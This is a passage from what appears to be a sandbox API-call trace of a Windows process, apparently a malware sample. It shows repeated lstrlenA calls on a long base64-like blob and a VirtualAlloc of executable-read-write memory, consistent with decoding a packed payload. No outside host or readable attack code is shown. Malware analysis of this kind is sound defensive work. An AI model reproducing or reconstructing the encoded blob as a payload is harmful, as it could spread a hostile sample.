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") returned 5820
	[0084.627] VirtualAlloc (lpAddress=0x0, dwSize=0x16be, flAllocationType=0x3000, flProtect=0x40) returned 0x2fc0000
	[0084.628] lstrlenA (lpString="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") returned 5820
	[0084.628] lstrlenA (lpString="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") returned 5820
	[0084.628] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo